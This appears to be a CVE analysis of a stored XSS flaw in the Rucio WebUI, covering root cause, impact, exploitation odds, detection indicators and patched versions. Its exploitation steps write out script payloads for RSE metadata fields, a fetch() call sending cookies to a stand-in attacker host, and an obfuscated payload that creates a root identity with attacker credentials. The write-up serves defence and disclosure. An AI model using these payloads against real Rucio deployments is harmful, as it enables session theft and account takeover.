CVE-2026-25734: 
Python vulnerability analysis and mitigation

CVE-2026-25734 is a stored Cross-Site Scripting (XSS) vulnerability in the RSE (Rucio Storage Element) metadata of the Rucio WebUI, a scientific data management platform developed by CERN. Attacker-controlled input injected into RSE metadata fields (City, Country_Name, ISP) is persisted by the backend and later rendered in the WebUI without proper output encoding, enabling arbitrary JavaScript execution in the WebUI origin for any authenticated user who views the affected pages. The vulnerability was published on February 25, 2026, and affects rucio-webui versions before 35.8.3, versions 36.0.0rc1 through 38.5.4, and versions 39.0.0rc1 through 39.3.1. It carries a CVSS v3.1 base score of 6.1 (Moderate) (Github Advisory, Rucio Advisory).

The root cause is improper neutralization of user-controlled input before insertion into the DOM (CWE-79), compounded by session cookies lacking the HttpOnly flag (CWE-1004). An authenticated attacker with sufficient privileges to create or modify RSEs can submit malicious JavaScript payloads in metadata fields (e.g., city, country_name, ISP) via a POST request to /proxy/rses/<RSE_NAME>. These payloads are stored server-side and executed in the browser of any user who navigates to the RSE Management dashboard (Admin > RSE Management or Admin > RSE Management > RSE NAME). The impact is amplified because session cookies are accessible to JavaScript (no HttpOnly flag) and API tokens are exposed as JavaScript variables in authenticated page responses (e.g., var token = "root-root-webui-...:" on /ui/list_accounts) (Github Advisory, Rucio Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of the Rucio WebUI origin for any user who views the affected RSE Management pages, which may include all users or administrative users depending on the feature. Attackers can exfiltrate session tokens and API tokens to external attacker-controlled servers, create new privileged UserPass identities with attacker-known credentials (including root-level accounts), create or delete RSEs, and perform other unauthorized data management actions as the victim. There is no availability impact, but confidentiality and integrity are both rated High in the vendor's CVSS assessment (Github Advisory).

A proof-of-concept exploit is publicly documented in the GitHub Security Advisory, including a specific XSS payload to create a root UserPass identity and a technique to exfiltrate session cookies via encoded GET requests to attacker-controlled servers. There is no evidence of in-the-wild exploitation at this time, and the vulnerability is not listed in the CISA KEV catalog. The EPSS score is approximately 0.092% (26th percentile), indicating a low near-term exploitation probability. Exploitation requires the attacker to be authenticated with privileges sufficient to create or modify RSEs (Github Advisory, Rucio Advisory).

1. Authenticate: Obtain valid Rucio credentials with privileges to create or modify RSEs (e.g., an admin account or an account with RSE write permissions).
2. Inject XSS payload into RSE metadata: Send a crafted POST request to /proxy/rses/<RSE_NAME> with malicious JavaScript embedded in metadata fields such as city, country_name, or ISP:

   POST /proxy/rses/XSSTEST HTTP/1.1
   ...
   {"city":"<script>alert('CITY XSS')</script>","country_name":"<script>alert('COUNTRY XSS')</script>","ISP":"<script>alert('ISP XSS')</script>","deterministic":false,"volatile":false,"staging_area":false}

3. Wait for victim to trigger the payload: The stored XSS fires when any user (or admin) navigates to Admin > RSE Management or Admin > RSE Management > RSE NAME in the WebUI.
4. Exfiltrate session token: The injected script reads the session cookie (accessible due to missing HttpOnly flag) and sends it to an attacker-controlled server:

   fetch('https://attacker.example.com/rucio/' + btoa(document.cookie))

5. Escalate privileges (optional): Use the exposed API token (available as a JavaScript variable in the page) to create a root-level UserPass identity with attacker-controlled credentials:

   <img src=x onerror=(function(){o={};o.method='PUT';o.credentials='include';o.headers={'X-Rucio-Username':'attackeruser','X-Rucio-Password':'AttackerPassword123','X-Rucio-Email':'demo@example.org','X-Rucio-Auth-Token':token};fetch(String.fromCharCode(47)+'identities'+String.fromCharCode(47)+'root'+String.fromCharCode(47)+'userpass',o)})()>

6. Maintain access: Use the newly created credentials or hijacked session to perform further actions such as creating/deleting RSEs or exfiltrating data (Rucio Advisory).

• Network: Outbound GET requests from the Rucio server or client browsers to unknown external domains with Base64-encoded strings in the URL path (e.g., GET https://attacker.example.com/rucio/<BASE64_STRING>); unexpected PUT requests to /identities/root/userpass from the WebUI origin.
• Logs: WebUI access logs showing POST requests to /proxy/rses/<RSE_NAME> with unusually long or encoded JSON payloads in metadata fields (city, country_name, ISP); unexpected creation of new UserPass identities for the root account in Rucio audit logs.
• Application State: Presence of JavaScript-like strings (e.g., <script>, alert(, onerror=, fetch() in RSE metadata fields (city, country_name, ISP) when reviewing RSE configurations; unexpected new administrative UserPass identities in the Rucio identity management system.
• Browser/Client: Unexpected network requests originating from the browser when visiting the RSE Management dashboard, particularly to external domains not associated with Rucio infrastructure (Rucio Advisory).

Rucio has released patched versions addressing this vulnerability: 35.8.3 (for versions before 36.0.0), 38.5.4 (for versions 36.0.0 through 38.x), and 39.3.1 (for versions 39.0.0 and above). Administrators should upgrade to the appropriate patched version immediately. As defense-in-depth measures, the advisory recommends enforcing a strict Content Security Policy (CSP), setting the HttpOnly flag on all session cookies, and eliminating exposure of API tokens in JavaScript-accessible variables. In the WebUI code, unsafe DOM insertion methods such as .html() should be replaced with .text(), text node creation, or auto-escaping templating systems (Github Advisory, Release 35.8.3, Release 38.5.4, Release 39.3.1).

The vulnerability was reported by security researcher d-woosley and published by Rucio maintainer bziemons on February 25, 2026, as part of a batch of six WebUI security fixes released simultaneously across all supported LTS branches. Red Hat acknowledged the CVE in their security tracking on February 26, 2026. No significant broader media coverage or notable community commentary beyond the GitHub advisory has been identified (Rucio Advisory, Release 39.3.1).